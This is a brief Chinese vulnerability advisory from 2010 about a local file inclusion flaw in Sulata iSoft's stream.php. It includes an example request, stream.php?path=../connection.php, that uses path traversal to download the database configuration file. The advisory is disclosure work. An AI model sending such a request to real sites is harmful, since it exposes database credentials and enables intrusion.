Sulata iSoft (stream.php)本地文件包含

发布日期：2010-12.11
发布作者：Sudden_death

影响版本：未知

漏洞类型：文件包含
漏洞描述：stream.php下载功能对path过滤不严，导致本地加载任何文件漏洞。

漏洞分析：stream.php

.....

//include_once("../home/library.php");

include_once("../connection.php"); <----------------------- look here,,

This is the config

suConnect();

.....
 

通过本漏洞可下载数据库配置文件。

http://www.site.com/_admin/stream.php?path=../connection.php

标签分类： 文件包含